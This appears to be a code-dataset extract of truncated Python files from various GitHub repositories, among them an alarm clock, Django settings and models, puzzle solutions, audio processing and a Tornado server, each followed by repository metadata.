import os import datetime from playsound import playsound from AppKit import NSSound os. system('clear') alarmH = int(input("What hour do you want the alarm to ring? ")) alarmM = int(input("What minute do you want the alarm to ring? ")) amPm = str(input("am or pm? ")) os. system('clear') print("Waiting for ala...
[ "noreply@github.com" ]
suvansinha.noreply@github.com
071d7ad1727d8f2f9952cc1d3957de6fff8c3dba
502925e0f4e304364e3f955e91c882c315afcb00
/mysite/settings.py
404ea2a254d683ce9685266a8520619b6fa5e672
[]
no_license
JSPlike/OnePerson
e9b15f342c0fb120e109ff56b1981009ad0f725c
c7f12971c8356acefbbac5ae1de0314185229bbe
refs/heads/master
2021-07-21T20:06:16.643998
2017-10-31T05:00:14
2017-10-31T05:00:14
108,928,206
0
0
null
null
null
null
UTF-8
Python
false
false
3,215
py
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 1.11.1. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os ...
[ "moter2588@gmail.com" ]
moter2588@gmail.com
1ef0e17cfa7a4bbe22301e1de4b0cc138b130ffd
22244d8b763d172b342f52c9707c61f288257b50
/2016/Day17_TwoStepsForward.py
9d88b64599974f68cb9513abfe27e5e85e173df5
[]
no_license
mimada/Advent16
c82859daf333dc240ca1514d2fafd4ad09a501f9
32f80d2d7f4c8d8b6e5748cde9968620b438590e
refs/heads/master
2021-01-12T09:44:28.770571
2018-12-08T22:23:53
2018-12-08T22:23:53
76,232,454
0
0
null
null
null
null
UTF-8
Python
false
false
702
py
# # 119804-20161201-18fba1ee # http://adventofcode.com/2016/day/17 ######### #S| | | # #-#-#-#-# # | | | # #-#-#-#-# # | | | # #-#-#-#-# # | | | ####### V# import md5 class TwoStepsForward: def __init__(self): self.count = 0 def getCount(self): return self.count def main(): ...
[ "mikaelm@mimada.se" ]
mikaelm@mimada.se
be2f60c5816e0fe6a20fffe0c75c2dce03f9f333
172018f686da5ba8390cb0f20a5ff5fe9cb25e28
/src/process_audio.py
d32a06381290b07523735ba0173464d45e0cadb0
[]
no_license
mcstanle/freezam
e397e92a75349a2ecc2eb2275a2dcf3670d48ae3
ea9233c50b1aa3d4d8fde45afb213c9ab271286a
refs/heads/master
2020-08-02T20:19:37.546253
2019-09-29T23:05:21
2019-09-29T23:05:21
211,495,199
0
0
null
null
null
null
UTF-8
Python
false
false
3,739
py
""" Classes and functions to provide the audio processing functionality. Broadly, the code in this file should do the following: 1. Apply a window function to an audio file. 2. Compute local periodograms from windowed signal. 3. Smooth Periodograms. 4. Compute window signature --> this is handled by signatureGenerator ...
[ "mcstanle@andrew.cmu.edu" ]
mcstanle@andrew.cmu.edu
161381b413380795aca8c929268f18b4c212f395
b5d87f3fbe5ae84522c9391040a51145966ed226
/yelp/basic_python/client.py
a407ecbde4dc0b02fc7be7b2e20205d64bfbbe52
[]
no_license
oliverhuangchao/algorithm
f8b17743436c7d2e92b0761deafbf6af93ef922f
858885bc2b6b7070b5536695214c915106d56f8c
refs/heads/master
2021-01-10T05:54:41.181112
2015-07-09T19:55:04
2015-07-09T19:55:04
36,044,053
0
0
null
null
null
null
UTF-8
Python
false
false
128
py
import socket s = socket.socket() host = socket.gethostname() port = 12345 s.connect((host,port)) print s.recv(1024) s.close()
[ "chaoh@g.clemson.edu" ]
chaoh@g.clemson.edu
accd196693c2779748ce5a466d625f0e72b02186
08521c93d1de0be5fae50001cc9fa100d298597d
/Puzzles/Easy/HungerGames.py
77f66966b82e93bc950e134ee832fe6de3c0eee9
[ "MIT" ]
permissive
Naheuldark/Codingame
937fc91720529b3b1c4a685606af7b09659a1119
1ded71fad8386f3dda74f9b57ff1c056146206c3
refs/heads/main
2023-02-15T08:21:02.253854
2020-12-18T08:55:55
2020-12-18T08:55:55
319,281,967
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
import sys import math num_tributes = int(input()) tributes = {input(): {'killer': 'Winner', 'killed': []} for _ in range(num_tributes)} turns = int(input()) for _ in range(turns): name, _, *victims = input().split() for victim in [v.replace(',', '') for v in victims]: tributes[name]['killed'].append(v...
[ "julien.bordas@amadeus.com" ]
julien.bordas@amadeus.com
11886647b4039cf4ea6cff973f854b580fc4b37c
188d711ae8d0bfc7858828bf264df63d629b7905
/tiltshift.py
94fa289230161925357a22b7b97a9b5dfff538ad
[]
no_license
hashed-sandbox/opencv-python-demo
0e6afa78bd2d8411edf96b7494a9f380f0fbf2ec
51fc517d68ebe246569d7bb19825f126e84978d8
refs/heads/master
2016-09-14T05:42:56.851445
2016-05-11T14:32:26
2016-05-11T14:32:26
58,552,637
0
0
null
null
null
null
UTF-8
Python
false
false
764
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Imitate effects of tilt-shift lense. """ import numpy as np import cv2 import sys from boxfilter1 import boxfilter cap = cv2.VideoCapture(0) if not cap.isOpened(): sys.exit("No cameras available!") while True: ret, img_orig = cap.read() img_src = cv2.cvt...
[ "ryo_kato@hashedhyphen.com" ]
ryo_kato@hashedhyphen.com
a9be3e9178b571cd5feb05f663d37ae2ea0985c2
8815fe12e89f45d4b51bdc9eafdc199628801666
/strategy/test/make_abba_wl.py
dc45ad6aaf634c90a0a0fb0ab07d0f877ae3553e
[]
no_license
IamSzymeQQQ/PyScrabble
ddecf630c0c7f7bc6bfa89ff2f4326855aacb60c
ea346f64d383b03c7584573c76ede33c13dab787
refs/heads/master
2023-08-22T16:06:57.047968
2013-09-08T04:22:59
2013-09-08T04:22:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
225
py
__author__ = 'Jacky' from itertools import product with open('./wordlists/ABBA.txt', 'w') as f: for i in xrange(1, 6): for s in product('AB', repeat=i): f.write(''.join(s)) f.write('\n')
[ "xjtian94@gmail.com" ]
xjtian94@gmail.com
dca053fdcac8ab0cba305ddd4aae1369d921e7b8
0344e02d9bb5946b2fa5982680bf40e4bac5800c
/gtt/posts/admin.py
40fbc52e93014e638b845c0bdc42a4f2eb48f969
[]
no_license
AppsLab-KE/gtt-backend
5619b094e39c88a9b1fec2ac7094c0267b966db4
dce0e82f205e3b688e25a32310c707e39e1f7194
refs/heads/master
2021-07-04T04:44:38.063509
2020-11-09T15:14:54
2020-11-09T15:14:54
198,700,423
4
1
null
2020-09-29T09:48:04
2019-07-24T19:49:10
Python
UTF-8
Python
false
false
691
py
from django.contrib import admin from django.contrib.auth import get_user_model from posts.models import Category, Post, Comment, Reply, Bookmark from posts.forms import CategoryForm User = get_user_model() class CategoryAdmin(admin.ModelAdmin): form = CategoryForm list_display = ( 'category_name', ...
[ "colasgikonyo@gmail.com" ]
colasgikonyo@gmail.com
64d29f78ae1643a4169e7455dbbc3beeb67c6dbd
676f6f2d02db6aeeaa1bb0b28ab49e8c73923d0e
/venv/Lib/site-packages/neuralcoref/utils.py
333ad28bbab947b38a586275274aca661ffe68f6
[ "Apache-2.0" ]
permissive
vrian/orsen
ce34f74ea3a14c95d37ffa5c694b7c66725925df
9c10148aba62868fad4b679a4b9b717829586e96
refs/heads/master
2023-01-21T21:47:06.210918
2018-06-23T04:46:26
2018-06-23T04:46:26
120,284,869
1
0
Apache-2.0
2023-01-09T09:39:16
2018-02-05T09:44:03
Python
UTF-8
Python
false
false
2,946
py
# coding: utf8 """Utils""" from __future__ import absolute_import from __future__ import unicode_literals from __future__ import print_function from concurrent.futures import ThreadPoolExecutor, as_completed import numpy as np from tqdm import tqdm DISTANCE_BINS = list(range(5)) + [5]*3 + [6]*8 + [7]*16 +[8]*32 de...
[ "jbryanalburo@gmail.com" ]
jbryanalburo@gmail.com
89d92b5b38f130dfa99c546233c90801a058f3b5
ffc77ca014668e2a4233e1df2eb73717f30135ea
/vocab/urls.py
5e856aab0a038f46cf907f6da4ded200367223b2
[]
no_license
horatius83/Vocab-Site
4ad629af4cf5b107438ea2a099bdfbf71945d08a
34716dc2a7dfa8c5c7d3241d54884523dfe896d4
refs/heads/master
2016-09-05T09:48:17.676833
2016-02-28T03:49:57
2016-02-28T03:49:57
42,882,206
0
0
null
null
null
null
UTF-8
Python
false
false
171
py
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^quiz', views.quiz, name='quiz') ]
[ "horatius83@gmail.com" ]
horatius83@gmail.com
f30d4cfb7f19261ff36930b150a85ca1839c3d13
bd17d6bd054b2b8750a5e39781aec342b8d3144e
/app/migrations/0003_location.py
c7a87d24bba42de3406930c8388f8e5b9961a094
[ "MIT" ]
permissive
TobiasRosskopf/django_backend_template
b9c9154932acef7d7cbfb6c6e4186605b5ffb6ae
1de5ea6b9006b0cc3898873b26ea251313cfe61d
refs/heads/master
2023-03-14T03:02:25.200889
2021-03-05T19:29:40
2021-03-05T19:29:40
302,465,508
0
0
null
null
null
null
UTF-8
Python
false
false
810
py
# Generated by Django 3.1.6 on 2021-02-11 08:20 import django.contrib.gis.db.models.fields from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0002_auto_20201008_2120'), ] operations = [ migrations.CreateModel( name='Loca...
[ "tobirosskopf@gmail.com" ]
tobirosskopf@gmail.com
f029f3b8ad02d37ea4d6024f24333d119d6577e8
4aaf72fe9b36568ed3f33e9eef6e8f8471cd034b
/products/views.py
5a7ce9399ef1ddd9769970e8216eb512014e5ec5
[]
no_license
henryd24/backend-django
6d0c4f4ef8be37d9d6f817e3a76c7340dc578189
6e5c98aa2b3c9dfc5fb7bdfd55c02435152ea57a
refs/heads/main
2023-07-11T00:41:52.151602
2021-08-19T20:30:32
2021-08-19T20:30:32
398,066,562
1
0
null
null
null
null
UTF-8
Python
false
false
1,852
py
from .producer import publishmqtt from rest_framework import viewsets, status from rest_framework.response import Response from rest_framework.views import APIView from .models import Product, User from .serializers import ProductSerializer import random,json class ProductViewSet(viewsets.ViewSet): def list(self...
[ "noreply@github.com" ]
henryd24.noreply@github.com
523cd653c2997df934cb9224042b5f56a7846918
b5af81118108e15845cbcdec046c30f168b831f3
/simulation_code.py
3f0040b7ed239eb6158417dcd31106ab724d7d4f
[]
no_license
bGhorbani/Variational-Inference-Instability
a1fba4a82af52bc592bc89cb7a2c7fb4a10c7be4
5776499ff794fe608b2a13c130aeecddbb4ba2d1
refs/heads/master
2020-03-08T22:19:23.471638
2018-05-01T20:59:34
2018-05-01T20:59:34
128,427,764
3
1
null
null
null
null
UTF-8
Python
false
false
28,639
py
# This file includes the code for generating an instance of # the topic modeling problem (Simulation Class), variational # inference algorithm (Variational_Simulation Class), the AMP # (AMP_Simulation Class), and the damped AMP algorithm # (Damped_AMP_Simulation). # Last edited by Behrooz Ghorbani on April 1st 201...
[ "noreply@github.com" ]
bGhorbani.noreply@github.com
352fefeb4ea343b3c000635b5627547fd4fee3f3
c6d77ad20cf623e6eff01ece708f7e7b2752c040
/Sorting: Comparator.py
67ecb6eba3fea02e1ae622f5da9e1b62e64a3148
[]
no_license
pranshul2112/HackerRank
3d9ca2e2ed4a9ba145e4f8db6bee4a380eeadfc7
9bf635117363efd1e5c2f6bf65ca458b3686da78
refs/heads/master
2022-11-14T13:28:33.971112
2020-07-11T19:36:37
2020-07-11T19:36:37
262,601,669
1
1
null
null
null
null
UTF-8
Python
false
false
715
py
from functools import cmp_to_key class Player: def __init__(self, name, score): self.name = name self.score = score def __repr__(self): return "{} {}".format(self.name, self.score) def comparator(a, b): if a.name is b.name and a.score is b.score: retur...
[ "noreply@github.com" ]
pranshul2112.noreply@github.com
d4ca37c80edf919e49093cbc0544a23e7676b04f
5654bd3d08a7ba33c8ded256a4b62ec3beaeb185
/python/NasaDataConverter/mark.py
fdcf81fb9ec92990e6517a25d468d432c221cc81
[]
no_license
wschodslonca/sdsz
57043dc2939cab5a894aa560fafec4f261f5de01
5ea6a3c508c4b2b24d13b3c19da7ba6b1274041e
refs/heads/master
2021-05-22T19:36:48.186761
2020-06-10T12:53:25
2020-06-10T12:53:25
253,047,283
0
1
null
null
null
null
UTF-8
Python
false
false
1,429
py
from areamarkers.areamarker import areamarker, list1d from markdrawers.drawer import * import os import time def main(): # pathfrom = '../resources/data/texts/2005/L3_ozone_omi_20051018.txt' # pathto = '../resources/data/test/to/test.png' # scraper = DataScraper(pathfrom) # new = mark(scraper) # c...
[ "lenox139st@gmail.com" ]
lenox139st@gmail.com
3b383bca73c7c19fda1fe4eea52bb0918a5d55c5
16cb8cc18d92d4018f9ee3044565cf22d4daef70
/Lab0/Python/7_Loops.py
0e44f466e1bfeb11cff40ae4017307015a92b838
[]
no_license
zx-joe/Computational-Motor-Control-for-Salamandar-Robot
c13ac105d73b283ac86c00a00a7b25b28e3713af
c66d23fb8365e4b12263bb4115a30d708d42dbb2
refs/heads/master
2022-12-12T12:23:57.573980
2020-09-08T09:05:28
2020-09-08T09:05:28
256,481,679
1
0
null
null
null
null
UTF-8
Python
false
false
2,119
py
#!/usr/bin/env python3 """This script introduces you to the usage of Loops in Python. Loops are useful to repeatedly to do a task over and over again. Here we look at for and while loops in particular""" import farms_pylog as pylog # import farms_pylog for log messages ### FOR LOOPS AND WHILE LOOPS ### pylog.info...
[ "xiao.zhou@epfl.ch" ]
xiao.zhou@epfl.ch
24fec9581990604235045666112daab4628ed59b
6b395bed7c9fe05b08e2b8fc87d63c3c11e7be3c
/AP Lab/Modules/2.py
9a726207c9ab3b7b189b7b94ff9dc6def34c6829
[]
no_license
rohith1125/sem-5-labs
46360686001abffbb9593d2e5f0977fad0467244
a402ccee801d39e1c070cd8fe16723769203974f
refs/heads/main
2023-02-07T11:51:25.593644
2021-01-04T06:04:59
2021-01-04T06:04:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
141
py
import cmath n = complex(input()) print("SIN: ", cmath.sin(n)) # n in degrees print("SQRT: ", cmath.sqrt(n)) print("LOG: ", cmath.log(n))
[ "devangraj.arora@gmail.com" ]
devangraj.arora@gmail.com
9116ce7c08069c6b16143395c3f0886fb4b58e31
5c24336c033b5dd02f1022f9da3f0aee670c5b2f
/MATLAB Installed/BIDS_resources/P010_EX1/Code/SlidingOccluderStimMaker.py
073d795024f42e1ca9c0021dbe3923904fcef309
[ "CC0-1.0" ]
permissive
JohnTyCa/The-SPN-Catalogue
ab29e39ad42a1793f38448ac018dcf4918935013
75e729f867c275433b68807bc3f2228c57a3ccac
refs/heads/main
2023-08-30T06:31:35.726302
2022-05-16T14:17:39
2022-05-16T14:17:39
321,381,577
2
0
CC0-1.0
2022-05-16T14:17:40
2020-12-14T14:56:49
Python
UTF-8
Python
false
false
14,750
py
from numpy import * #many different maths functions from numpy.random import * #maths randomisation functions import os #handy system and path functions from psychopy import visual, core, data, event, sound, gui,parallel #these are the psychopy libraries import psychopy.logging #import like this so it doesn't interfere...
[ "hljtyson@liverpool.ac.uk" ]
hljtyson@liverpool.ac.uk
0bcc0295445f46510f69acdc51a2bc69602ef712
d3853f741e9a5e0d6f6b7424e8307c6573863f89
/lesson4/find_cars.py
4714a6a94ac9fd7cf38d13187e91030dd1f57dc9
[]
no_license
nagilla-venkatesh/Data-Wrangling-with-MongoDB
6472451e800448af67edc769f76bf87a81e5c4ac
8548d2f6c3eeb5cd4f990ea07b1f88039c20e218
refs/heads/master
2022-11-05T20:29:13.731022
2018-10-15T08:27:11
2018-10-15T08:27:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,300
py
#!/usr/bin/env python """ Your task is to write a query that will return all cars manufactured by "Ford Motor Company" that are assembled in Germany, United Kingdom, or Japan. Please modify only 'in_query' function, as only that will be taken into account. Your code will be run against a MongoDB instance that we have ...
[ "venkatesh.nagilla@outlook.com" ]
venkatesh.nagilla@outlook.com
dc49a560cc917013648c6797e9aee34f69106e1b
63333e57527fb6880aef2577ec9f3acf9776d502
/main.py
152bedcdfc78e9aa4cb043b85d54ef20a209501a
[]
no_license
chaselee/tornado-linode
596daa9156c3818d0afbe1d2961f6bc1c795d5a9
c1159721d5d86513d14ba0e685d19d8f5d45cc1d
refs/heads/master
2021-01-10T21:07:27.616881
2013-03-16T04:56:43
2013-03-16T04:56:43
2,075,666
21
6
null
2014-02-13T04:58:45
2011-07-20T01:52:14
Python
UTF-8
Python
false
false
720
py
import tornado.ioloop from tornado.options import define, options, logging import tornado.web define("port", default=8888, help="run on the given port", type=int) settings = { "debug": True, } server_settings = { "xheaders" : True, } class MainHandler(tornado.web.RequestHandler): def get(self): ...
[ "umchaselee@gmail.com" ]
umchaselee@gmail.com
e4afd99c50407f622a682d09e3830125874d47d2
335ce4b41ba842253e5421d6fdc407cddbc59e35
/FinalDataSetModel/migrations/0013_auto_20181122_1924.py
20ccd95a1256cb4a7caad23d2d8fbf50b2584374
[]
no_license
2018DataSet/ScratchDataset
898d61f6fe782adf0eba87ed62088a8ff59967a4
ebc7cc5be78476330782d6b2c4ee10a8dcf93d18
refs/heads/master
2020-04-07T23:51:48.593238
2018-12-06T09:03:03
2018-12-06T09:03:03
158,827,730
0
0
null
null
null
null
UTF-8
Python
false
false
724
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2018-11-22 11:24 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('FinalDataSetModel', '0012_auto_20181122_1921'), ] ...
[ "1583071538@qq.com" ]
1583071538@qq.com
c5b9bd010de9df17ce44d3ced4ccf69cf11a0deb
2071325c958baeccf009fd63803d459b809ec435
/tadh/index.py
d59a7b735c6e3205ca9be63cac5931a1f68b0441
[]
no_license
timtadh/codegolf
fd18eccaadf1a9d6c5c93026d28bee6914993268
434bc3fdc3881a993184ce54042b074b134ce440
refs/heads/master
2021-01-18T10:53:51.397524
2012-04-24T06:16:34
2012-04-24T06:16:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,510
py
import collections, os, re, sys, json, timeit, time from tst.suffix import SuffixTree from tst import TST stop = {'a', 'an', 'the', 'their', 'my', 'me', 'mine', 'my', 'i', 'am', 'but', 'is', "isn't", 'was', "wasn't"} index = SuffixTree() reviews = dict() results = dict() def clean(text): return ( text...
[ "tim.tadh@gmail.com" ]
tim.tadh@gmail.com
691845312b03bffcaabddee6ca4377487a883d3f
073310af8448572761a52aa55df126572ba7fb47
/tiendavirtual/models.py
9d15bd8e02b7638452a23028d5e9a1b112f5c1fa
[]
no_license
williampalacios/bicicletas-once
833565f9b7a1c745528c26edce944baea7f2a9c2
db296c1f58de23ffd4bad6ecfeb90679d4211ada
refs/heads/master
2020-09-10T21:18:35.460121
2019-11-15T22:22:27
2019-11-15T22:22:27
221,818,635
0
0
null
null
null
null
UTF-8
Python
false
false
9,768
py
# This is an auto-generated Django model module. # You'll have to do the following manually to clean this up: # * Rearrange models' order # * Make sure each model has one field with primary_key=True # * Make sure each ForeignKey has `on_delete` set to the desired behavior. # * Remove `managed = False` lines if ...
[ "mich.palacios.hdz@gmail.com" ]
mich.palacios.hdz@gmail.com
274c62339c3cc1cf5f7f12fbbeb2be073d312a4f
1eb6a06f77d059bbcab2f8ff9284b3ee70d789c9
/Map-Reduce/avg-rating-by-movie.py
be61cff74f63d6c3e465ee75d9c412c4092c44a0
[]
no_license
neetipandey3/Spark-Scala-and-Python
066a55b5973c470d2c0a13d0557d3e1c7702ebc5
2c53f75c0cda70ce78f83582ef42e204ed07ff8f
refs/heads/master
2020-03-19T00:56:43.447342
2018-07-19T21:23:07
2018-07-19T21:23:07
135,511,528
0
0
null
null
null
null
UTF-8
Python
false
false
2,233
py
import sys, csv, os from pyspark import SparkContext ''' Movie Average Rating by movieId Input: :parameter #1: input file path (ratings.csv) :parameter #2: output file path Output: Neeti_Pandey_result_task1.csv; values = (movieId, avg_rating) ''' class MovieRating: def getMovieAvgRating(se...
[ "neetipandey3@gmail.com" ]
neetipandey3@gmail.com
8b621ea6bcba2ad286662444d9729a742fcad36f
e32d56a2b1ae252bbc92d72c23f773a6c1919bb7
/specs/gdal.x86_64-unknown-freebsd.spec
f2596ca418bc3660eb0b59c081b60d6e3ae4b61f
[ "ISC" ]
permissive
jl2/cl-gdal
3dccb1bb3632cba82e57387f773562694aa781c7
e67a00192857d8d905350685733f8de0ecf76f21
refs/heads/master
2020-08-03T03:34:42.691420
2019-11-25T22:46:04
2019-11-25T22:46:04
211,612,993
3
0
null
null
null
null
UTF-8
Python
false
false
3,029,959
spec
[ { "tag": "typedef", "ns": 0, "name": "size_t", "location": "/usr/lib/clang/9.0.0/include/stddef.h:46:23", "type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 } }, { "tag": "typedef", "ns": 0, "name": "va_list", "location": "/usr/lib/clang/9.0.0/include/stdarg.h:14:27", "type": { "tag": "__builtin_v...
[ "jeremiah_larocco@fastmail.com" ]
jeremiah_larocco@fastmail.com
bcab80bf8c6ebe62c1d3dfcf1cbbbc056c376ce7
8a32dbf34abdb35d44adb8e9572f448b6c867ffc
/manage.py
9bad028e4349b653c11b4310dd0c30f7dec81901
[ "MIT" ]
permissive
BerryBC/SpyDataWebAppAndAPI
fd93d46a400014ace9e03a13395e813676b1c71c
6dd42a186e6955575fb747f7ff69c5b5a060ca19
refs/heads/master
2020-12-28T05:47:26.252630
2020-06-09T12:27:27
2020-06-09T12:27:27
238,201,590
0
0
null
null
null
null
UTF-8
Python
false
false
639
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'SpyDataWebAppAndAPI.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: ...
[ "Berry_BC_@163.com" ]
Berry_BC_@163.com
66a46adc198d4c741e35ee27922208a6dc960bf3
5c116e926ef3dc5e61442509b4a88024f208b9f1
/Exercise_Chapter11_SetA.py
61b071fb71e3dcf91b1591d264c4141d5512c441
[]
no_license
EvgenTol/Hacking-Secret-Cipher-With-Python-Book
aecc8b67fb4678d76674f187ebfff22923b82564
2e755bb6a72ac9bc1e90f1c19bffb4c2a76e9940
refs/heads/master
2020-12-30T12:10:40.455624
2017-05-22T08:09:24
2017-05-22T08:09:24
91,503,232
0
0
null
null
null
null
UTF-8
Python
false
false
2,226
py
''' Book: Hacking Secret Ciphers with Python, by Al Sweigart Author: Evgen Tolstykh Page: 152 Chapter: 11 ''' import time , os , sys , Exercise_Chapter8_SetA , Exercise_Chapter9_SetA def main(): inputFile = "Test.encrypted.txt" outputFile = "Test.decrypted.txt" myKey = 10 myMode = "decrypt" # i...
[ "e.tolstykh@yahoo.de" ]
e.tolstykh@yahoo.de
c7d207caab2d8049dd46ee2d929fe5d591e46eac
9e5f8a39016ba2fd39a7dd44bd598eb054d01de9
/EV_CS_edit/Equilibrium_with_equality/verify_equilibrium.py
950ec455db0c1a343830ae732fc376502db0bbf7
[]
no_license
kjzlkj/EV_CS
22b3d2541e31d604bcad2ec4cb307c433474a2c4
4cc6171fa5134a464aca0e1426d997e435b89228
refs/heads/main
2023-06-14T00:53:28.591026
2021-07-07T08:01:11
2021-07-07T08:01:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,429
py
#!/usr/bin/env python # _*_ coding: utf-8 _*_ # @Time : 2021/3/5 11:09 # @Author : wbw # @Version:V 0.1 # @File : verify_equilibrium.py # @desc : verify the equilibrium of regions import random from EV_Equilibrium import EvEquilibrium import numpy as np from matplotlib import pyplot as plt from config import config e...
[ "434966069@qq.com" ]
434966069@qq.com
42836521a575f8c077b4bfebb8d8e2419be572af
62e58c051128baef9452e7e0eb0b5a83367add26
/x12/4051/527004051.py
8c9efc8520e73dc4035dfeae8878f979b3e8fff1
[]
no_license
dougvanhorn/bots-grammars
2eb6c0a6b5231c14a6faf194b932aa614809076c
09db18d9d9bd9d92cefbf00f1c0de1c590fe3d0d
refs/heads/master
2021-05-16T12:55:58.022904
2019-05-17T15:22:23
2019-05-17T15:22:23
105,274,633
0
0
null
2017-09-29T13:21:21
2017-09-29T13:21:21
null
UTF-8
Python
false
false
2,610
py
from bots.botsconfig import * from records004051 import recorddefs syntax = { 'version' : '00403', #version of ISA to send 'functionalgroup' : 'MD', } structure = [ {ID: 'ST', MIN: 1, MAX: 1, LEVEL: [ {ID: 'BR', MIN: 1, MAX: 1}, {ID: 'G62', MIN: 0, MAX: 5}, ...
[ "jason.capriotti@gmail.com" ]
jason.capriotti@gmail.com
a12e797795097cab3d075cf3d0e2a595af7d24c8
4fc9cb4cf01e41c4ed3de89f13d213e95c87dd33
/angr/procedures/definitions/win32_tokenbinding.py
c8f0611d8f6b05290788ee3f32ec70edc73bc914
[ "BSD-2-Clause" ]
permissive
mborgerson/angr
ea5daf28576c3d31b542a0e229139ab2494326e9
8296578e92a15584205bfb2f7add13dd0fb36d56
refs/heads/master
2023-07-24T22:41:25.607215
2022-10-19T19:46:12
2022-10-20T18:13:31
227,243,942
1
2
BSD-2-Clause
2021-04-07T22:09:51
2019-12-11T00:47:55
Python
UTF-8
Python
false
false
7,224
py
# pylint:disable=line-too-long import logging from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool from ...calling...
[ "noreply@github.com" ]
mborgerson.noreply@github.com
68cf799fe4f6d54a02fd5013dd8b5100c7eac001
9896742e3554ca924a05e1fbb571f00a5a103c8a
/hellp.py
de608408b926eed4807613b5ecbc4fbbe108b2b0
[]
no_license
imarkofu/gitskills
4d027141c816d33ebb4c8bd6698ade2ff9d60cb0
de5beea54e30d3470bd9930311bece917cd9435f
refs/heads/master
2021-01-20T16:24:25.137708
2017-02-23T02:43:45
2017-02-23T02:43:45
82,778,000
0
0
null
null
null
null
UTF-8
Python
false
false
36
py
dddd add coding: utf-8 dddfasdfasdf
[ "gbwl_cgl@163.com" ]
gbwl_cgl@163.com
832351d1f81817222ee3098cd7399d13748b0bff
67e51d2e6d6936ec64ad4ba6cd1f6a8ce3dd6a30
/fastx_barber/scripts/barber.py
97e5aa0f48c27518169c0e19e16b4c50d5e95613
[ "MIT" ]
permissive
ggirelli/fastx-barber
b433f501ae606b44cd6942753e714a28a5828913
76d888d11f06690b74fc8d4b857d447ac4b4ea45
refs/heads/main
2023-04-08T07:25:15.098820
2022-08-23T08:28:05
2022-08-23T08:28:05
281,703,558
4
0
MIT
2023-03-07T08:24:30
2020-07-22T14:42:55
Python
UTF-8
Python
false
false
1,126
py
""" @author: Gabriele Girelli @contact: gigi.ga90@gmail.com """ import argparse from fastx_barber import __version__ from fastx_barber.scripts import arguments as ap from fastx_barber import scripts import sys def default_parser(*args) -> None: print("fbarber -h for usage details.") sys.exit() def main(): ...
[ "noreply@github.com" ]
ggirelli.noreply@github.com
d8d75f9cd736c02ebfc0300cba70b6931cb27601
c8a0505175fdddda7481fc7c3f7ff58f85702b91
/others/area_of_trapezoid.py
db8502fffa6a350b73dd42047516b778febaf206
[]
no_license
fortune2009/python-exercises
9f8f649576f8d012e3f2358d3a54f51d1e204dc9
c10da8b6d0e8f056ef6e801a0e8f9b9e2f79071a
refs/heads/master
2022-05-27T09:13:55.416541
2020-05-03T15:06:29
2020-05-03T15:06:29
257,142,200
0
0
null
null
null
null
UTF-8
Python
false
false
239
py
#X and Y meters for a trapezoid #refactor code later to collect input from user #make use of a sentinel control x_meters = 5 y_meters = 7 height = 8 area = 0.5 * (x_meters + y_meters) * height print('The area of a trapezoid is: ',area)
[ "fortunekbz2009@gmail.com" ]
fortunekbz2009@gmail.com
0da0ebf65f5d51c72ebfcc51a45a75e658be8978
0733f47cd0a25b622b1a60fb9243f70fad040540
/Platformer/scripts/scenes/TestEngine.py
5df7cd6d1c18d0efd4c08a5b04a9683d4f2f13d9
[]
no_license
KingdomPy/Pygame-Demos
ef4f96d8d56156823961ba6f7c246eb8f257c77e
aa5dfde6e3a36c6ec3a03738c723dd65eec0cfff
refs/heads/main
2022-12-30T03:18:40.404546
2020-10-06T16:13:34
2020-10-06T16:13:34
301,782,068
1
0
null
null
null
null
UTF-8
Python
false
false
16,449
py
import pygame import math import json from tkinter import Tk from tkinter import filedialog from scripts import filePath from scripts.entities import EntityController, TileController asset_path = filePath.setPath(filePath.getRootFolder(2), ["assets"]) assets_tiles = [ pygame.image.load(filePath.setPath(asset_path...
[ "donmonkey44@gmail.com" ]
donmonkey44@gmail.com
57edfbafd25590c3a9938f84c2cc09b872853e20
276b5e5e810c5d48f6b8196accbcf2f3a3a81605
/IronPythonExample/PythonScripts/GuessingGame.py
2f47a868ab193e65894ac9e31f073b32fcbf345b
[ "MIT" ]
permissive
balee323/IronPythonExample
badf6106f19dcdb25f90ffdb7df1b10c7397ea44
4418d72ec143b2ff65f3acc56111ba647b228fe8
refs/heads/master
2022-11-23T15:06:41.588119
2020-07-29T22:04:24
2020-07-29T22:04:24
283,610,694
0
0
null
null
null
null
UTF-8
Python
false
false
919
py
import time import datetime class GuessingGame(object): def __init__(self): self.guesses = 0 self.number = 0 def start_game(self): try: return "Guess a number between 1 and 10" except Exception as ex: print("error") def make_guess(self, value): ...
[ "blee@babelstreet.com" ]
blee@babelstreet.com
723dc5b80d22081ac0a0e803d5a8e888cb76333f
b186830ab8e74452cb2e8ff0188d0a8fa3d15b59
/areaOfIntersection.py
626a809e2f9cf6aa7a017300e014806bf952f37b
[]
no_license
cafaray/atco.de-fights
e3a278bd51feb7bee05623eaf20d1ea4db535eb6
1304bcabf1f18202c14a20b38144854ef05bf776
refs/heads/master
2022-11-26T05:57:37.564504
2020-07-28T12:07:01
2020-07-28T12:07:01
124,416,047
0
0
null
null
null
null
UTF-8
Python
false
false
785
py
